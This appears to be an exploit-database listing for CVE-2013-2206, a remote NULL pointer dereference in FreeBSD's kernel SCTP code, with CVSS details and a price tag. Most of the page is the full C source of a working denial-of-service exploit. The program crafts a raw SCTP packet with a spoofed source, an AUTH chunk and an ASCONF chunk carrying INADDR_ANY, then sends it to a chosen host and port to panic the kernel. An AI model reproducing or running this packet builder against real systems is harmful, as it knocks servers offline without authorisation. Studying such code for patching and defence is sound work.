FreeBSD kernel SCTP remote NULL pointer dereference
CVE
Category
Price
Severity
CVE-2013-2206
CWE-476
$1500
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2012-08-07
CPE
cpe:cpe:/o:freebsd:freebsd
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality None C There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data. Integrity None I There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2012080028 Below is a copy:/*
* FreeBSD kernel SCTP (latest release) remote NULL ptr dereference DoS
*
* by Shaun Colley <[email protected] >, 2 Aug 2012
*
* The SCTP implementation used by FreeBSD ("reference implementation") is vulnerable to a remote
* NULL pointer dereference in kernel due to a logic bug. When parsing ASCONF chunks, an attempt is
* made to find an association by address. if the address found is INADDR_ANY, sctp_findassoc_by_vtag()
* is called and an attempt is made to find an association by vtag. Before searching for the vtag in a
* hash table, a pointer is set to NULL, with the intention of redefining it after finding the association.
* However, if the specified vtag is not found, the function returns and the ptr is never reinitialised,
* causing a kernel panic when the NULL pointer is later dereferenced by the SCTP_INP_DECR_REF macro when
* flow returns to sctp_process_control().
*
* i.e.
*
* static struct sctp_tcb *
* sctp_findassoc_by_vtag(struct sockaddr *from, uint32_t vtag,
* struct sctp_inpcb **inp_p, struct sctp_nets **netp, uint16_t rport,
* uint16_t lport, int skip_src_check)
*
* {
*
* [ ... ]
*
* *netp = NULL;
* *inp_p = NULL;
*
* [ ... ]
*
* head = &sctppcbinfo.sctp_asochash[SCTP_PCBHASH_ASOC(vtag,
* 1690 sctppcbinfo.hashasocmark)];
* if (head == NULL) {
* // invalid vtag
* SCTP_INP_INFO_RUNLOCK();
* return (NULL);
* }
*
* The page fault is a write AV at 0x0 + 0x33c but since there is no associated user context, this
* doesn't appear to be exploitable (i.e. by mapping the NULL page)
*
* Tested against FreebSD 8.2-RELEASE but latest release is also vulnerable. The target system must have an open
* SCTP port
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <string.h>
/* sctp checksum implementation, basically ripped from wireshark */
#define SP_LEN 2
#define DP_LEN 2
#define VTAG_LEN 4
#define CHK_LEN 4
#define HEADER_LEN (SP_LEN + DP_LEN + VTAG_LEN + CHK_LEN)
#define CRC32C(c, d) (c = (c >> 8) ^ crc_c[(c ^(d)) & 0xFF])
/* SCTP chunk types */
#define SCTP_AUTH 0x0f
#define SCTP_ASCONF 0xc1
static int crc_c[256] = {
0x00000000L, 0xF26B8303L, 0xE13B70F7L, 0x1350F3F4L,
0xC79A971FL, 0x35F1141CL, 0x26A1E7E8L, 0xD4CA64EBL,
0x8AD958CFL, 0x78B2DBCCL, 0x6BE22838L, 0x9989AB3BL,
0x4D43CFD0L, 0xBF284CD3L, 0xAC78BF27L, 0x5E133C24L,
0x105EC76FL, 0xE235446CL, 0xF165B798L, 0x030E349BL,
0xD7C45070L, 0x25AFD373L, 0x36FF2087L, 0xC494A384L,
0x9A879FA0L, 0x68EC1CA3L, 0x7BBCEF57L, 0x89D76C54L,
0x5D1D08BFL, 0xAF768BBCL, 0xBC267848L, 0x4E4DFB4BL,
0x20BD8EDEL, 0xD2D60DDDL, 0xC186FE29L, 0x33ED7D2AL,
0xE72719C1L, 0x154C9AC2L, 0x061C6936L, 0xF477EA35L,
0xAA64D611L, 0x580F5512L, 0x4B5FA6E6L, 0xB93425E5L,
0x6DFE410EL, 0x9F95C20DL, 0x8CC531F9L, 0x7EAEB2FAL,
0x30E349B1L, 0xC288CAB2L, 0xD1D83946L, 0x23B3BA45L,
0xF779DEAEL, 0x05125DADL, 0x1642AE59L, 0xE4292D5AL,
0xBA3A117EL, 0x4851927DL, 0x5B016189L, 0xA96AE28AL,
0x7DA08661L, 0x8FCB0562L, 0x9C9BF696L, 0x6EF07595L,
0x417B1DBCL, 0xB3109EBFL, 0xA0406D4BL, 0x522BEE48L,
0x86E18AA3L, 0x748A09A0L, 0x67DAFA54L, 0x95B17957L,
0xCBA24573L, 0x39C9C670L, 0x2A993584L, 0xD8F2B687L,
0x0C38D26CL, 0xFE53516FL, 0xED03A29BL, 0x1F682198L,
0x5125DAD3L, 0xA34E59D0L, 0xB01EAA24L, 0x42752927L,
0x96BF4DCCL, 0x64D4CECFL, 0x77843D3BL, 0x85EFBE38L,
0xDBFC821CL, 0x2997011FL, 0x3AC7F2EBL, 0xC8AC71E8L,
0x1C661503L, 0xEE0D9600L, 0xFD5D65F4L, 0x0F36E6F7L,
0x61C69362L, 0x93AD1061L, 0x80FDE395L, 0x72966096L,
0xA65C047DL, 0x5437877EL, 0x4767748AL, 0xB50CF789L,
0xEB1FCBADL, 0x197448AEL, 0x0A24BB5AL, 0xF84F3859L,
0x2C855CB2L, 0xDEEEDFB1L, 0xCDBE2C45L, 0x3FD5AF46L,
0x7198540DL, 0x83F3D70EL, 0x90A324FAL, 0x62C8A7F9L,
0xB602C312L, 0x44694011L, 0x5739B3E5L, 0xA55230E6L,
0xFB410CC2L, 0x092A8FC1L, 0x1A7A7C35L, 0xE811FF36L,
0x3CDB9BDDL, 0xCEB018DEL, 0xDDE0EB2AL, 0x2F8B6829L,
0x82F63B78L, 0x709DB87BL, 0x63CD4B8FL, 0x91A6C88CL,
0x456CAC67L, 0xB7072F64L, 0xA457DC90L, 0x563C5F93L,
0x082F63B7L, 0xFA44E0B4L, 0xE9141340L, 0x1B7F9043L,
0xCFB5F4A8L, 0x3DDE77ABL, 0x2E8E845FL, 0xDCE5075CL,
0x92A8FC17L, 0x60C37F14L, 0x73938CE0L, 0x81F80FE3L,
0x55326B08L, 0xA759E80BL, 0xB4091BFFL, 0x466298FCL,
0x1871A4D8L, 0xEA1A27DBL, 0xF94AD42FL, 0x0B21572CL,
0xDFEB33C7L, 0x2D80B0C4L, 0x3ED04330L, 0xCCBBC033L,
0xA24BB5A6L, 0x502036A5L, 0x4370C551L, 0xB11B4652L,
0x65D122B9L, 0x97BAA1BAL, 0x84EA524EL, 0x7681D14DL,
0x2892ED69L, 0xDAF96E6AL, 0xC9A99D9EL, 0x3BC21E9DL,
0xEF087A76L, 0x1D63F975L, 0x0E330A81L, 0xFC588982L,
0xB21572C9L, 0x407EF1CAL, 0x532E023EL, 0xA145813DL,
0x758FE5D6L, 0x87E466D5L, 0x94B49521L, 0x66DF1622L,
0x38CC2A06L, 0xCAA7A905L, 0xD9F75AF1L, 0x2B9CD9F2L,
0xFF56BD19L, 0x0D3D3E1AL, 0x1E6DCDEEL, 0xEC064EEDL,
0xC38D26C4L, 0x31E6A5C7L, 0x22B65633L, 0xD0DDD530L,
0x0417B1DBL, 0xF67C32D8L, 0xE52CC12CL, 0x1747422FL,
0x49547E0BL, 0xBB3FFD08L, 0xA86F0EFCL, 0x5A048DFFL,
0x8ECEE914L, 0x7CA56A17L, 0x6FF599E3L, 0x9D9E1AE0L,
0xD3D3E1ABL, 0x21B862A8L, 0x32E8915CL, 0xC083125FL,
0x144976B4L, 0xE622F5B7L, 0xF5720643L, 0x07198540L,
0x590AB964L, 0xAB613A67L, 0xB831C993L, 0x4A5A4A90L,
0x9E902E7BL, 0x6CFBAD78L, 0x7FAB5E8CL, 0x8DC0DD8FL,
0xE330A81AL, 0x115B2B19L, 0x020BD8EDL, 0xF0605BEEL,
0x24AA3F05L, 0xD6C1BC06L, 0xC5914FF2L, 0x37FACCF1L,
0x69E9F0D5L, 0x9B8273D6L, 0x88D28022L, 0x7AB90321L,
0xAE7367CAL, 0x5C18E4C9L, 0x4F48173DL, 0xBD23943EL,
0xF36E6F75L, 0x0105EC76L, 0x12551F82L, 0xE03E9C81L,
0x34F4F86AL, 0xC69F7B69L, 0xD5CF889DL, 0x27A40B9EL,
0x79B737BAL, 0x8BDCB4B9L, 0x988C474DL, 0x6AE7C44EL,
0xBE2DA0A5L, 0x4C4623A6L, 0x5F16D052L, 0xAD7D5351L,
};
static unsigned int sctp_crc32c(const unsigned char *buf, unsigned int len) {
unsigned int i;
unsigned int crc32 = ~0U;
unsigned int r;
unsigned char b0, b1, b2, b3;
for(i = 0; i < SP_LEN + DP_LEN + VTAG_LEN; i++)
CRC32C(crc32, buf[i]);
CRC32C(crc32, 0);
CRC32C(crc32, 0);
CRC32C(crc32, 0);
CRC32C(crc32, 0);
for (i = HEADER_LEN; i < len; i++)
CRC32C(crc32, buf[i]);
r = ~crc32;
b0 = r & 0xff;
b1 = (r >> 8) & 0xff;
b2 = (r >> 16) & 0xff;
b3 = (r >> 24) & 0xff;
crc32 = ((b0 << 24) | (b1 << 16) | (b2 << 8) | b3);
return crc32;
}
/* basic sctp header */
struct sctphdr {
unsigned short sport;
unsigned short dport;
unsigned int vtag;
unsigned csum;
};
/* sctp chunk header */
struct sctp_chunkhdr {
unsigned char type;
unsigned char flags;
unsigned short length;
};
/* ASCONF chunk */
struct sctp_asconf_chunk {
struct sctp_chunkhdr ch;
unsigned int serial;
};
/* AUTH chunk */
struct sctp_auth_chunk {
struct sctp_chunkhdr ch;
unsigned short shared_key_id;
unsigned short hmac_id;
unsigned char hmac[0];
};
/* SCTP parameter header */
struct sctp_paramhdr {
unsigned short type;
unsigned short length;
};
/* ipv4 address parameter */
struct sctp_ipv4addr_param {
struct sctp_paramhdr ph;
unsigned int addr;
};
/* standard crc32 IP checksum */
unsigned short checksum(unsigned short *addr, int len) {
int nleft = len;
unsigned int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;
while(nleft > 1) {
sum += *w++;
nleft -= 2;
}
if(nleft == 1) {
*(unsigned char *)(&answer) = *(unsigned char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
int main(int argc, char *argv[]) {
int sock = 0, ret = 0;
int on = 1; /* for setsockopt() call */
struct ip *iph = NULL;
struct sctphdr *sctph = NULL;
struct sctp_auth_chunk *auth_chunk = NULL;
struct sctp_asconf_chunk *asconf_chunk = NULL;
struct sctp_ipv4addr_param *ipv4_addr = NULL;
char *crash = NULL;
struct sockaddr_in sin;
struct hostent *hp = NULL;
printf("\n[*] freebsd sctp remote NULL ptr dereference\n\n");
if(argc < 3) {
printf("usage: %s <host> <port>\n\n", argv[0]);
return -1;
}
sock = socket(AF_INET, SOCK_RAW, IPPROTO_SCTP);
if(sock < 0) {
printf("[*] error making socket!\n");
return -1;
}
/* tell the kernel not to put any IP headers in */
if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
printf("[*] setsockopt() error\n");
return -1;
}
hp = gethostbyname(argv[1]);
if(!hp) {
printf("[*] couldn't resolve %s\n\n", argv[1]);
return -1;
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
memcpy((char *)&sin.sin_addr, hp->h_addr, hp->h_length);
crash = malloc(20000);
if(!crash) {
printf("\n[*] couldn't allocate memory\n");
return -1;
}
printf("[*] building crash packet..\n");
memset(crash, 0x00, 20000);
/* fill in IP header */
iph = (struct ip *)crash;
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = 0; /* fill in later when we know... */
iph->ip_id = htons(1337);
iph->ip_off = 0;
iph->ip_ttl = 250;
iph->ip_p = 132; /* sctp */
iph->ip_sum = 0;
iph->ip_src.s_addr = inet_addr("1.3.3.7");
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
/* fill in SCTP header */
sctph = (void *)crash + sizeof(struct ip);
sctph->sport = htons(0x1234);
sctph->dport = htons(atoi(argv[2]));
sctph->vtag = htonl(0x12345); /* deliberately wrong */
sctph->csum = 0;
/* build AUTH chunk */
auth_chunk = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr);
auth_chunk->ch.type = SCTP_AUTH;
auth_chunk->ch.length = htons(8 + sizeof(struct sctp_auth_chunk));
auth_chunk->hmac_id = htons(0x1337);
memset((void *)auth_chunk->hmac, 0x61, 8);
/* build ASCONF chunk */
asconf_chunk = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8;
asconf_chunk->ch.type = SCTP_ASCONF;
asconf_chunk->ch.length = htons(sizeof(struct sctp_asconf_chunk) + sizeof(struct sctp_ipv4addr_param));
asconf_chunk->serial = 0x41414141; /* whatever */
ipv4_addr = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk)
+ 8 + sizeof(struct sctp_asconf_chunk);
ipv4_addr->ph.length = htons(sizeof(struct sctp_ipv4addr_param));
ipv4_addr->ph.type = htons(0x0005);
ipv4_addr->addr = INADDR_ANY; /* this takes us down the bad code path */
/* what's the length of the whole packet? */
iph->ip_len = sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8 + sizeof(struct sctp_asconf_chunk)
+ sizeof(struct sctp_ipv4addr_param);
/* calculate IP checksum */
iph->ip_sum = checksum((unsigned short *)crash, iph->ip_len >> 1);
/* calculate SCTP checksum */
sctph->csum = htonl(sctp_crc32c((const unsigned char *)sctph, sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8
+ sizeof(struct sctp_asconf_chunk)
+ sizeof(struct sctp_ipv4addr_param)));
printf("[*] sending packet..\n\n");
/* send the bad packet */
ret = sendto(sock, crash, iph->ip_len, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr));
if(ret < 0) {
printf("[*] error sending packet\n");
return -1;
}
printf("[*] done, bad packet sent!\n\n");
free(crash);
close(sock);
return 0;
}
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